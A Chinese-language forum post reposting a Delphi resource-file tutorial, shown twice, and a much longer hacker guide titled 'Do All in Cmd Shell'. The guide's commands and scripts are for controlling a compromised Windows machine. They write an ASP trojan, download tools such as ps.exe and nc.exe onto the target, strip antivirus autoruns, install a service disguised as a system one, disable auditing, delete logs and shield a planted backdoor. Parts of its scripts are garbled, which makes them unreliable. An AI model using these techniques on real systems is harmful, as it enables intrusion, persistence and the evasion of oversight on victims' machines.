全國最多中醫師線上諮詢網站-台灣中醫網
發文 回覆 瀏覽次數:13364
推到 Plurk!
推到 Facebook!

2000 xp 的 網路配置

 
conundrum
尊榮會員


發表:893
回覆:1272
積分:643
註冊:2004-01-06

發送簡訊給我
#1 引用回覆 回覆 發表時間:2005-11-17 19:42:30 IP:220.143.xxx.xxx 未訂閱
原始網站 此站資料真的不錯 值得收藏 http://oldblog.blogchina.com/category.15816.html    紀錄資料 http://delphi.ktop.com.tw/topic.php?TOPIC_ID=81532    2000 xp 的 網路配置 ////////////////////////////////////////////////////////    
 http://oldblog.blogchina.com/category.15816.html
 
Delphi中資源檔案使用詳解    1.編寫 RC 腳本文本
用記事本或其他文本編輯網路配置器編寫一個副檔名為".rc"的文件。格式如下:
資源識別字  資源類型關鍵字  資源檔案名
其中"資源類型關鍵字"用於標識資源檔案的類型:
AVI     無聲動畫
BITMAP  點陣圖檔
CURSOR  遊標文件
ICON    圖示檔
WAVE    音效檔案
以上所列均為標準資源類型,也可以給資源自定義一個類型,如:"mytype"。不過兩者在調用方式上有些不同
(在後面示例"存取資源檔案中的點陣圖"中有詳細描述)。
2.根據 RC 腳本檔編譯成 RES 資源檔案
在命令提示符中輸入以下內容: 
brcc32 FileName.rc  //注:brcc32.exe在DelphiX\Bin目錄中
3.在Delphi單元中加入資源檔案
將生成的 RES 資源檔案複製到相應程式所在的目錄中,在單元檔中的
"{$R *DFM}"後面加上"{$R FileName.res}",編譯後資源檔案就被包含在可執行檔中了。
說明:如果嫌2、3兩步麻煩,可以採用更簡便的做法,
即:將 RC 檔直接添加到專案中,在編譯Delphi專案時,會自動編譯該資源檔案。
     4.資源檔案調用示例
(1)存取資源檔案中的點陣圖
//RC: testBmp bitmap res\test.bmp
Image1.Picture.Bitmap.LoadFromResourceName(HInstance, 'res\test.bmp'); 
________________________________________
//RC: testBmp bmptype res\test.bmp
var
  resStream: TResourceStream;
begin
  resStream := TResourceStream.Create(HInstance, 'testBmp', 'bmptype');
  Image1.Picture.Bitmap.LoadFromStream(resStream);
  resStream.Free;
end;
請注意上面兩種調用方式的不同之處。
(2)存取資源檔案中的圖示
將圖示放在資源檔案中,可以實現動態改變應用程式的圖示。
//RC: testIcon icon res\test.ico
Application.Icon.Handle := LoadIcon(HInstance, 'testIcon');
(3)存取資源檔案中的AVI動畫
//RC: testAvi avi res\test.avi
Animate1.ResName := 'testAvi';
Animate1.Active := True;
(4)存取資源檔案中的JPEG圖像
為了能夠處理JPEG圖像,必須在Interface處引用JPEG單元。
var
  jpg: TJPEGImage;
  resStream: TResourceStream;
begin
  jpg := TJPEGImage.Create;
  resStream := TResourceStream.Create(HInstance, 'testJpg', 'jpgtype');
  jpg.LoadFromStream(resStream);
  Image1.Picture.Assign(jpg);
  jpg.Free;
  resStream.Free;
end;    閱讀全文... 
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Delphi中資源檔案使用詳解    1.編寫 RC 腳本文本
用記事本或其他文本編輯器編寫一個副檔名為".rc"的文件。格式如下:
資源識別字  資源類型關鍵字  資源檔案名
其中"資源類型關鍵字"用於標識資源檔案的類型:
AVI     無聲動畫
BITMAP  點陣圖檔
CURSOR  遊標文件
ICON    圖示檔
WAVE    音效檔案
以上所列均為標準資源類型,也可以給資源自定義一個類型,
如:"mytype"。不過兩者在調用方式上有些不同
(在後面示例"存取資源檔案中的點陣圖"中有詳細描述)。
2.根據 RC 腳本檔編譯成 RES 資源檔案
在命令提示符中輸入以下內容: 
brcc32 FileName.rc  //注:brcc32.exe在DelphiX\Bin目錄中
3.在Delphi單元中加入資源檔案
將生成的 RES 資源檔案複製到相應程式所在的目錄中,
在單元檔中的"{$R *DFM}"後面加上"{$R FileName.res}",
編譯後資源檔案就被包含在可執行檔中了。
說明:如果嫌2、3兩步麻煩,可以採用更簡便的做法,
即:將 RC 檔直接添加到專案中,在編譯Delphi專案時,會自動編譯該資源檔案。
     4.資源檔案調用示例
(1)存取資源檔案中的點陣圖
//RC: testBmp bitmap res\test.bmp
Image1.Picture.Bitmap.LoadFromResourceName(HInstance, 'res\test.bmp'); 
________________________________________
//RC: testBmp bmptype res\test.bmp
var
  resStream: TResourceStream;
begin
  resStream := TResourceStream.Create(HInstance, 'testBmp', 'bmptype');
  Image1.Picture.Bitmap.LoadFromStream(resStream);
  resStream.Free;
end;
請注意上面兩種調用方式的不同之處。
(2)存取資源檔案中的圖示
將圖示放在資源檔案中,可以實現動態改變應用程式的圖示。
//RC: testIcon icon res\test.ico
Application.Icon.Handle := LoadIcon(HInstance, 'testIcon');
(3)存取資源檔案中的AVI動畫
//RC: testAvi avi res\test.avi
Animate1.ResName := 'testAvi';
Animate1.Active := True;
(4)存取資源檔案中的JPEG圖像
為了能夠處理JPEG圖像,必須在Interface處引用JPEG單元。
var
  jpg: TJPEGImage;
  resStream: TResourceStream;
begin
  jpg := TJPEGImage.Create;
  resStream := TResourceStream.Create(HInstance, 'testJpg', 'jpgtype');
  jpg.LoadFromStream(resStream);
  Image1.Picture.Assign(jpg);
  jpg.Free;
  resStream.Free;
end;     study[2005年 03月28日 13 : 23]     
評論:[0] | 引用:[0] 加入博采中心       •Do All in Cmd Shell    1,前言 
2,文件傳輸 
3,系統配置 
4,網路配置 
5,軟體安裝 
6,Windows腳本 
7,附言 
     前言 
Cmd Shell(命令行交互)是駭客永恆的話題,它歷史悠久並且長盛不衰。
本文旨在介紹和總結一些在命令行下控制Windows系統的方法。
這些方法都是盡可能地利用系統自帶的工具實現的。     文件傳輸 
對於溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。
由於蠕蟲病毒流行,連接ipc$所需要的139或445埠被路由封鎖。
再加上WinXP系統加強了對ipc$的保護,通過ipc$及默認共用上傳檔的手段基本無效了。
ftp和tftp是兩種可行的方法,介於其已被大家熟知,本文就不介紹了。
還有三種大家熟悉的辦法,作為總結我再提一下: 
1,用Echo命令寫ASP木馬。 
前提當然是目標主機上已經安裝了IIS。 
一般的ASP木馬"體積"較大,不適合直接用echo命令寫入檔,
這裏我提供一個小巧的。 
直接給出echo版: 
@echo ^ >up.asp 
注意,只有一行,中間沒有回車符。 
生成的up.asp不能用流覽器訪問,只能用下面這個腳本: 
with wscript 
if .arguments.count>dl.vbs 
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:" w.status:.quit>>dl.vbs 
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs 
舉例——下載ps.exe並保存到c:\path下: 
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe 
注意,這是在遠端shell中執行的。 
4,Echo經過編碼的任何檔,再用腳本 debug還原。 
前面兩個辦法都不能保證穿過防火牆。而且,除非自己架Web伺服器,
一般的Web資源都是以壓縮檔的形式提供。如果目標主機沒有解壓工具,
還是沒轍。那麼只有出"殺手?"了! 
echo命令加重定向x作符可以寫入ASCII碼小於128的字元,但大於等於128的不行。
只有將本地檔重新"編碼"為可顯示的字元,才能方便地寫入遠端主機。
首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支援位元x作,因此編碼和解碼較複雜。更麻煩的是,腳本以二進位元流方式處理檔的能力很差。
(ADODB.Stream可以以流方式寫檔,但我無法構造出相應的資料類型。
二進位資料流可以用midb函數轉成字串,但反過來不行。我花了兩天時間,還是沒能解決這個問題。
如果有誰能用vbs或js寫任意的位元組資料到檔中,懇請賜教。) 
無奈只有請debug.exe出馬了。
原理很多人都知道,我不介紹了,直接給出成果——編碼腳本: 
fp=wscript.arguments(0) 
fn=right(fp,len(fp)-instrrev(fp,"\")) 
with createobject("adodb.stream") 
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) 
end with 
sll=sl mod 65536:slh=sl\65536 
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true) 
.write "@echo str=""" 
for i=1 to sl 
bt=ascb(midb(str,i,1)) 
if bt>debug.vbs" vbcrlf "@echo  """ 
next 
.writeline """>>debug.vbs" vbcrlf "@echo with wscript.stdout:r=vbcrlf"_ 
 ":for i=1 to len(str) step 48:.write ""e"" hex(256 (i-1)/2)"_ 
 ":for j=i to i 46 step 2:.write "" "" mid(str,j,2):next:.write r:next>>debug.vbs" 
.writeline "@echo .write ""rbx"" r """ hex(slh) """ r ""rcx"" r """ hex(sll)_ 
 """ r ""n debug.tmp"" r ""w"" r ""q"" r:end with"_ 
 ">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs" 
end with 
將其保存為echo.vbs。假設要上傳nc.exe,那麼在本地命令行輸入命令: 
cscript echo.vbs nc.exe 
也可以直接把要傳輸的檔的圖示拖放到腳本檔的圖示上。     稍等一會兒,在當前目錄下將生成一個nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內容: 
@echo str="4D5A90000300000004000000FFFF0000B80000000000 
0000400000000000000000000000000000000000000000000 
000000000000000000000000000800000000E1FBA0E00B409 
CD21B8014CCD21546869732070726F6772616D2063616E6E6 
F742062652072756E20696E20444F53206D6F64652E0D0D0A 
2400000000000000"_>>debug.vbs 
@echo  "504500004C010400B98EAE340000000000000000E0000F0 
10B010500009800000062000000000000004C000000100000 
00B0000000004000001000000002000004000000000000000 
4000000000000000030010000040000000000000300000000 
0010000010000000001000001000000000000010000000000 
0000000000000"_>>debug.vbs 
@echo  "002001003C0000000000000000000000000000000000000 
0000000000000000000000000000000000000000000000000 
0000000000000000000000000000000000000000000000000 
0000000000000000000000000000000A02101006401000000 
00000000000000000000000000000000000000000000002E7 
4657874000000"_>>debug.vbs 
@echo  "70970000001000000098000000040000000000000000000 
000000000200000602E726461746100001704000000B00000 
00060000009C0000000000000000000000000000400000402 
E646174610000004452000000C00000003E000000A2000000 
0000000000000000000000400000C02E696461746100005C0 
7000000200100"_>>debug.vbs 
............ 
............(省略若干行) 
............ 
@echo  "">>debug.vbs 
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e" hex(256 (i-1)/2):for j=i to i 46 step 2:.write " " mid(str,j,2):next:.write r:next>>debug.vbs 
@echo .write "rbx" r "0" r "rcx" r "E800" r "n debug.tmp" r "w" r "q" r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs 
全選 -》 複製 -》 切換到遠端命令行視窗 -》 粘貼。 
如果網速不是很慢的話,整個上傳過程大約需要20秒。 
幾點說明: 
1,大的檔傳輸不穩定,可能會使shell死掉。所以檔越小效果越好。建議原文件不要超過100KB。     2,在傳輸大檔前,可以先傳個小的檔作為"熱身",讓16位虛擬機ntvdm.exe駐留後臺。所有檔傳完後,為隱蔽起見,應該把ntvdm進程殺掉。     3,某些cmd shell每個命令都需要附加兩個回車,那nc.exe.bat就不能直接用了。     4,單個命令的長度是有限的,所以不能只用一個echo完成全部任務。而且,對於nc提供的cmd shell,稍長一些的命令竟然會使shell自動退出
(溢出了?)。你可以修改"i mod 128=0"語句中的128以調整每個echo命令的長度。每次echo的字元為這個數乘以2。     5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸的資料量(因為壓縮了資料)
。如果有時間,我會寫一個更完善的腳本,加強資料壓縮能力,增加資料校驗功能。 
能上傳檔當然一切都好辦了,但很多x作用Windows自帶的工具更方便。
在你到處尋找需要的工具時,不要忘了Windows本身。     系統配置 
這節包括三方面內容:註冊表、服務和組策略。 
先說註冊表。
很多命令行下訪問註冊表的工具都是互動式的,溢出產生的shell一般不能再次重定向輸入/輸出流,所以無法使用。
好在系統自帶的regedit.exe足夠用了。 
1,讀取註冊表 
先將想查詢的註冊表項導出,再用type查看,比如: 
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" 
C:\>type 1.reg | find "PortNumber" 
"PortNumber"=dword:00000d3d 
C:\>del 1.reg 
所以終端服務的埠是3389(十六進位d3d) 
2,修改/刪除註冊表項 
先echo一個reg檔,然後導入,比如: 
echo Windows Registry Editor Version 5.00 >1.reg 
echo. >>1.reg 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg 
echo "TelnetPort"=dword:00000913 >>1.reg 
echo "NTLM"=dword:00000001 >>1.reg 
echo. >>1.reg 
regedit /s 1.reg 
將telnet服務埠改為2323(十六進位913),NTLM認證方式為1。 
要刪除一個項,在名字前面加減號,比如: 
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U] 
要刪除一個值,在等號後面用減號,比如: 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 
"KAVRun"=- 
3,用inf檔訪問註冊表 
上面對註冊表的三個x作,也可以用下面這個inf檔來實現: 
[Version] 
Signature="$WINDOWS NT$" 
[DefaultInstall] 
AddReg=My_AddReg_Name 
DelReg=My_DelReg_Name 
[My_AddReg_Name] 
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323 
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1 
[My_DelReg_Name] 
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U 
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun 
將它寫入c:\path\reg.inf然後用下麵這個命令"安裝": 
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf 
幾點說明: 
1,[Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個。My_AddReg_Name和My_DelReg_Name可以自定義。
 
0x00010001表示REG_DWORD資料類型,0x00000000或省略該項(保留逗號)表示REG_SZ(字串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。 
關於inf檔的詳細資訊,可以參考DDK幫助文檔。 
2,InstallHinfSection是大小寫敏感的。
它和setupapi之間只有一個逗號,沒有空格。128表示給定路徑,該參數其他取值及含義參見MSDN。
特別注意,最後一個參數,必須是inf檔的全路徑,不要用相對路徑。 
3,inf檔中的專案都是大小寫不敏感的。     接下來說服務。如果想啟動或停止服務,用net命令就可以。
但想增加或刪除服務,需要用SC,instsrv.exe,xnet.exe等工具。
而這些工具系統沒有自帶(XP和2003自帶SC)。
導入註冊表雖然可以,但效果不好,這裏我們請inf檔出馬。 
增加一個服務: 
[Version] 
Signature="$WINDOWS NT$" 
[DefaultInstall.Services] 
AddService=inetsvr,,My_AddService_Name 
[My_AddService_Name] 
DisplayName=Windows Internet Service 
Description=提供對 Internet 資訊服務管理的支援。 
ServiceType=0x10 
StartType=2 
ErrorControl=0 
ServiceBinary=%\inetsvr.exe 
保存為inetsvr.inf,然後: 
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf 
這個例子增加一個名為inetsvr的服務
(是不是很像系統自帶的服務,呵呵)。 
幾點說明: 
1,最後四項分別是 
服務類型:0x10為獨立進程服務,0x20為共用進程服務(比如svchost); 
啟動類型:
0 系統引導時載入,
1 OS初始化時載入,
2 由SCM(服務控制管理器)自動啟動,
3 手動啟動,
4 禁用。 
(注意,0和1只能用於驅動程式) 
錯誤控制:
0 忽略,
1 繼續並警告,
2 切換到LastKnownGood的設置,
3 藍屏。 
服務程式位置:%表示system32目錄,%表示系統目錄
(WINNT或Windows),%為驅動目錄system32\drivers。
其他取值參見DDK。你也可以不用變數,直接使用全路徑。 
這四項是必須要有的。 
2,除例子中的六個項目,還有LoadOrderGroup、Dependencies等。
不常用所以不介紹了。 
3,inetsvr後面有兩個逗號,因為中間省略了一個不常用的參數flags。 
刪除一個服務: 
[Version] 
Signature="$WINDOWS NT$" 
[DefaultInstall.Services] 
DelService=inetsvr 
很簡單,不是嗎? 
當然,你也可以通過導入註冊表達到目的。但inf自有其優勢。 
1,導出一個系統自帶服務的註冊表項,你會發現其執行路徑是這樣的: 
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ 
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\ 
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00 
可讀性太差。其實它就是%SystemRoot%\system32\tlntsvr.exe,但資料類型是REG_EXPAND_SZ。
當手動導入註冊表以增加服務時,這樣定義ImagePath顯然很不方便。而使用inf檔就完全沒有這個問題,ServiceBinary(即ImagePath)自動成為REG_EXPAND_SZ。 
2,最關鍵的是,和用SC等工具一樣,inf檔的效果是即時起效的,而導入reg後必須重啟才有效。 
3,inf檔會自動為服務的註冊表項添加一個Security子鍵,使它看起來更像系統自帶的服務。 
另外,AddService和DelService以及AddReg、DelReg可以同時且重複使用。
即可以同時增加和刪除多個服務和註冊表項。詳細的內容還是請查看DDK。     最後說說組策略。組策略是建立Windows安全環境的重要手段,尤其是在Windows域環境下。
一個出色的系統管理員,應該能熟練地掌握並應用組策略。在視窗介面下訪問組策略用gpedit.msc,命令行下用secedit.exe。 
先看secedit命令語法: 
secedit /analyze 
secedit /configure 
secedit /export 
secedit /validate 
secedit /refreshpolicy 
5個命令的功能分別是分析組策略、配置組策略、導出組策略、驗證範本語法和更新組策略。其中 
secedit /refreshpolicy 在XP/2003下被gpupdate代替。這些命令具體的語法自己在命令行下查看就知道了。 
與訪問註冊表只需reg檔不同的是,訪問組策略除了要有個範本檔(還是inf),還需要一個安全資料庫檔(sdb)。
要修改組策略,必須先將範本導入安全資料庫,再通過應用安全資料庫來刷新組策略。來看個例子: 
假設我要將密碼長度最小值設置為6,並啟用"密碼必須符合複雜性要求",那麼先寫這麼一個範本: 
[version] 
signature="$CHICAGO$" 
[System Access] 
MinimumPasswordLength = 6 
PasswordComplexity = 1 
保存為gp.inf,然後導入: 
secedit /configure /db gp.sdb /cfg gp.inf /quiet 
這個命令執行完成後,將在當前目錄產生一個gp.sdb,它是"中間產品",你可以刪除它。 
/quiet參數表示"安靜模式",不產生日誌。但根據我的試驗,在2000sp4下該參數似乎不起作用,XP下正常。日誌總是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日誌以便隨後刪除它。
比如: 
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log 
del gp.* 
另外,在導入範本前,還可以先分析語法是否正確: 
secedit /validate gp.inf 
那麼,如何知道具體的語法呢?當然到MSDN裏找啦。
也有偷懶的辦法,因為系統自帶了一些安全範本,在%windir%\security\templates目錄下。
打開這些範本,基本上包含了常用的安全設置語法,一看就懂。 
再舉個例子——關閉所有的"審核策略"。
(它所審核的事件將記錄在事件查看器的"安全性"裏)。 
echo版: 
echo [version] >1.inf 
echo signature="$CHICAGO$" >>1.inf 
echo [Event Audit] >>1.inf 
echo AuditSystemEvents=0 >>1.inf 
echo AuditObjectAccess=0 >>1.inf 
echo AuditPrivilegeUse=0 >>1.inf 
echo AuditPolicyChange=0 >>1.inf 
echo AuditAccountManage=0 >>1.inf 
echo AuditProcessTracking=0 >>1.inf 
echo AuditDSAccess=0 >>1.inf 
echo AuditAccountLogon=0 >>1.inf 
echo AuditLogonEvents=0 >>1.inf 
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet 
del 1.* 
也許有人會說:組策略不是保存在註冊表中嗎,為什麼不直接修改註冊表?因為不是所有的組策略都保存在註冊表中。
比如"審核策略"就不是。你可以用regsnap比較修改該策略前後註冊表的變化。
我測試的結果是什麼都沒有改變。
只有"管理範本"這一部分是完全基於註冊表的。
而且,知道了具體位置,用哪個方法都不複雜。 
比如,XP和2003的"本地策略"-》"安全選項"增加了一個"本地帳戶的共用和安全模式"策略。
XP下默認的設置是"僅來賓"。這就是為什麼用管理員帳號連接XP的ipc$仍然只有Guest許可權的原因。
可以通過導入reg檔修改它為"經典": 
echo Windows Registry Editor Version 5.00 >1.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg 
echo "forceguest"=dword:00000000 >>1.reg 
regedit /s 1.reg 
del 1.reg 
而相應的用inf,應該是: 
echo [version] >1.inf 
echo signature="$CHICAGO$" >>1.inf 
echo [Registry Values] >>1.inf 
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf 
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log 
del 1.* 
關於命令行下讀取組策略的問題。 
系統默認的安全資料庫位於%windir%\security\database\secedit.sdb,將它導出至inf文件: 
secedit /export /cfg gp.inf /log 1.log 
沒有用/db參數指定資料庫就是採用默認的。然後查看gp.inf。 
不過,這樣得到的只是組策略的一部分(即"Windows設置")。
而且,某個策略如果未配置,是不會被導出的。
比如"重命名系統管理員帳戶",只有被定義了才會在inf檔中出現NewAdministratorName="***"。
對於無法導出的其他的組策略只有通過訪問註冊表來獲得了。 
此辦法在XP和2003下無效——可以導出但內容基本是空的。
原因不明。根據官方的資料,XP和2003顯示組策略用RSoP(組策略結果集)。相應的命令行工具是gpresult。 
但是,它獲得的是在系統啟動時被附加(來自域)的組策略,單機測試結果還是"空"。
所以,如果想知道某些組策略是否被設置,只有先寫一個inf,再用secedit /analyze,然後查看日誌了。     網路配置 
Windows自帶的關於網路的命令行工具很多,比如大家熟悉的
ping, tracert, ipconfig, telnet, ftp, tftp, netstat,
還有不太熟悉的nbtstat, pathping, nslookup, finger, route, netsh...... 
這些命令又可分成三類:網路檢測(如ping)、網路連接(如telnet)和網路配置(如netsh)。
前面兩種相對簡單,本文只介紹兩個網路配置工具。 
netsh 
在遠端shell中使用netsh首先要解決一個對話模式的問題。
前面說過,很多shell不能再次重定向輸出輸出,所以不能在這種環境下交互地使用ftp等命令行工具。
解決的辦法是,一般互動式的工具都允許使用腳本(或者叫應答檔)。
比如ftp -s:filename。netsh也是這樣:netsh -f filename。 
netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT伺服器,TCP/IP協定,IPX協定,路由等。
我們不是管理員,一般沒必要瞭解這麼多,只需用netsh來瞭解目標主機的網路配置資訊。 
1,TCP/IP配置 
echo interface ip >s 
echo show config >>s 
netsh -f s 
del s 
由此你可以瞭解該主機有多個網卡和IP,是否是動態分配IP(DHCP),內網IP是多少(如果有的話)。
這個命令和ipconfig /all差不多。 
注意,以下命令需要目標主機啟動remoteaccess服務。
如果它被禁用,請先通過導入註冊表解禁,然後net start remoteaccess 
2,ARP 
echo interface ip >s 
echo show ipnet >>s 
netsh -f s 
del s 
這個比arp -a命令多一點資訊。 
3,TCP/UDP連接 
echo interface ip >s 
echo show tcpconn >>s 
echo show udpconn >>s 
netsh -f s 
del s 
這組命令和netstat -an一樣。 
4,網卡資訊 
如果netsh命令都有其他命令可代替,那它還有什麼存在的必要呢?下麵這個就找不到代替的了。 
echo interface ip >s 
echo show interface >>s 
netsh -f s 
del s 
netsh的其他功能,比如修改IP,一般沒有必要使用(萬一改了IP後連不上,就"叫天不應叫地不靈"了),所以全部略過。 
IPSec 
首先需要指出的是,IPSec和TCP/IP篩選是不同的東西,大家不要混淆了。
TCP/IP篩選的功能十分有限,遠不如IPSec靈活和強大。
下面就說說如何在命令行下控制IPSec。 
XP系統用ipseccmd,2000下用ipsecpol。
遺憾的是,它們都不是系統自帶的。ipseccmd在xp系統安裝盤的 SUPPORT\TOOLS\SUPPORT.CAB 中,ipsecpol在2000 Resource Kit裏。
而且,要使用ipsecpol還必須帶上另外兩個檔:ipsecutil.dll和text2pol.dll。三個文件一共119KB。     IPSec可以通過組策略來控制,但我找遍MSDN,也沒有找到相應的安全範本的語法。已經配置好的IPSec策略也不能被導出為範本。
所以,組策略這條路走不通。IPSec的設置保存在註冊表中 
(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理論上可以通過修改註冊表來配置IPSec。    但很多資訊以二進位形式存放,讀取和修改都很困難。相比之下,上傳命令行工具更方便。 
關於ipsecpol和ipseccmd的資料,網上可以找到很多,因此本文就不細說了,只是列舉一些實用的例子。 
在設置IPSec策略方面,ipseccmd命令的語法和ipsecpol幾乎完全一樣,所以只以ipsecpol為例: 
    1,防禦rpc-dcom攻擊 
ipsecpol -p myfirewall -r rpc-dcom -f * 0:135:tcp * 0:135:udp * 0:137:udp * 0:138:udp * 0:139:tcp * 0:445:tcp * 0:445:udp -n BLOCK -w reg -x 
這條命令關閉了本地主機的TCP135,139,445和udp135,137,138,445埠。 
具體含義如下: 
-p myfirewall 指定策略名為myfirewall 
-r rpc-dcom 指定規則名為rpc-dcom 
-f ...... 建立7個篩選器。*表示任何位址(源);0表示本機位址(目標); 表示鏡像(雙向)篩選。詳細語法見ipsecpol -? 
-n BLOCK 指定篩選x作是"阻塞"。注意,BLOCK必須是大寫。 
-w reg 將配置寫入註冊表,重啟後仍有效。 
-x 立刻啟動該策略。 
2,防止被ping 
ipsecpol -p myfirewall -r antiping -f * 0::icmp -n BLOCK -w reg -x 
如果名為myfirewall的策略已存在,則antiping規則將添加至其中。     注意,該規則同時也阻止了該主機ping別人。 
3,對後門進行IP限制 
假設你在某主機上安裝了DameWare Mini Remote Control。 
為了保護它不被別人暴破密碼或溢出,應該限制對其服務埠6129的訪問。     ipsecpol -p myfw -r dwmrc_block_all -f * 0:6129:tcp -n BLOCK -w reg 
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89 0:6129:tcp -n PASS -w reg -x 
這樣就只有123.45.67.89可以訪問該主機的6129埠了。     如果你是動態IP,應該根據IP分配的範圍設置規則。比如: 
ipsecpol -p myfw -r dwmrc_block_all -f * 0:6129:tcp -n BLOCK -w reg 
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.* 0:6129:tcp -n PASS -w reg -x 
這樣就允許123.45.67.1至123.45.67.254的IP訪問6129埠。     在寫規則的時候,應該特別小心,不要把自己也阻塞了。
如果你不確定某個規則的效果是否和預想的一樣,可以先用計畫任務"留下後路"。例如: 
c:\>net start schedule 
Task Scheduler 服務正在啟動 .. 
Task Scheduler 服務已經啟動成功。 
c:\>time /t 
12:34 
c:\>at 12:39 ipsecpol -p myfw -y -w reg 
新加了一項作業,其作業 ID = 1 
然後,你有5分鐘時間設置一個myfw策略並測試它。5分鐘後計畫任務將停止該策略。如果測試結果不理想,就刪除該策略。 
c:\>ipsecpol -p myfw -o -w reg 
注意,刪除策略前必須先確保它已停止。不停止它的話,即使刪除也會在一段時間內繼續生效。
持續時間取決於策略的刷新時間,默認是180分鐘。 
如果測試通過,那麼就啟用它。 
c:\>ipsecpol -p myfw -x -w reg 
最後說一下查看IPSec策略的辦法。 
對於XP很簡單,一條命令搞定——ipseccmd show filters 
而ipsecpol沒有查詢的功能。需要再用一個命令行工具netdiag。
它位於2000系統安裝盤的SUPPORT\TOOLS\SUPPORT.CAB中。(已經上傳了三個檔,也就不在乎多一個了。) 
netdiag需要RemoteRegistry服務的支援。所以先啟動該服務: 
net start remoteregistry 
不啟動RemoteRegistry就會得到一個錯誤: 
[FATAL] Failed to get system information of this machine. 
netdiag這個工具功能十分強大,與網路有關的資訊都可以獲取!不過,
輸出的資訊有時過於詳細,超過命令行控制臺cmd.exe的輸出緩存,而不是每個遠端cmd shell都可以用more命令來分頁的。 
 
查看ipsec策略的命令是: 
netdiag /debug /test:ipsec 
然後是一長串輸出資訊。IPSec策略位於最後。     軟體安裝 
一個軟體/工具的安裝過程,一般來說只是做兩件事:拷貝檔到特定目錄和修改註冊表。只要搞清楚具體的內容,那麼就可以自己在命令行下實現了。
(不考慮安裝後需要註冊啟動等情況) 
WinPcap是個很常用的工具,但必須在視窗介面下安裝。
在網上也可以找到不用GUI的版本(但還是有版權頁),其實我們完全可以自己做一個。 
以WinPcap 3.0a 為例。通過比較安裝前後的檔系統和註冊表快照,很容易瞭解整個安裝過程。 
除去反安裝的部分,關鍵的檔有三個:wpcap.dll,packet.dll和npf.sys。
前面兩個檔位於system32目錄下,第三個在system32\drivers下。而註冊表的變化是增加了一個系統服務NPF。
注意,是系統服務(即驅動)不是Win32服務。 
作為系統服務,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主鍵,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主鍵。
而後者默認只有SYSTEM身份才可以修改。
幸運的是,並不需要手動添加它,winpcap被調用時會自動搞定。
甚至完全不用手動修改註冊表,所有的事winpcap都會自己完成,只需要將三個檔複製到合適的位置就行了。     作為範例,還是演示一下如何修改註冊表:利用前面說過的inf檔來實現。 
[Version] 
Signature="$WINDOWS NT$" 
[DefaultInstall.Services] 
AddService=NPF,,winpcap_svr 
[winpcap_svr] 
DisplayName=Netgroup Packet Filter 
ServiceType=0x1 
StartType=3 
ErrorControl=1 
ServiceBinary=%\npf.sys 
將上面這些內容保存為_wpcap_.inf文件。 
再寫一個批次處理_wpcap_.bat: 
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 Í%\_wpcap_.inf 
del _wpcap_.inf 
if /i Í%==%SYSTEMROOT%\system32 goto COPYDRV 
copy packet.dll %SYSTEMROOT%\system32\ 
copy wpcap.dll %SYSTEMROOT%\system32\ 
del packet.dll 
del wpcap.dll 
:COPYDRV 
if /i Í%==%SYSTEMROOT%\system32\drivers goto END 
copy npf.sys %SYSTEMROOT%\system32\drivers\ 
del npf.sys 
:END 
del %0 
然後用winrar將所有檔(5個)打包為自解壓的exe,並將
『高級自解壓選項』->『解壓後運行』設置為_wpcap_.bat,命令行的winpcap安裝包就製作完成了。     注意,批次處理最後一行沒有回車符。否則會因為正在運行而無法刪除自己。     所有的軟體安裝,基本上可以套用這個思路。
但也有例外的,那就是系統補丁的安裝。幸好,Windows補丁包支援命令行安裝。 
比如: 
KB824146.exe -n -z -q 
